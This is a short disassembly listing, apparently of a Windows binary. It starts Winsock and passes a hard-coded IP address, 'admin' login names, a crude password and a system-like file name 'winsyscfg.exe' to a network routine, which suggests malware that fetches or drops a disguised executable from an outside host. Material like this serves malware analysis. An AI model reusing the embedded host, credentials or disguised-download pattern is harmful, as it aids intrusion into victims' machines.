push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push str.admin
push str.Admin
push str.121.52.212.161Admin_winsyscfg.exe
push 0x404744
push str.suckmadick
push str.121.52.212.161
call fcn.00401440
add esp, 0x18
xor eax, eax
jmp 0x401bd3
mov esp, ebp
pop ebp
ret 0x10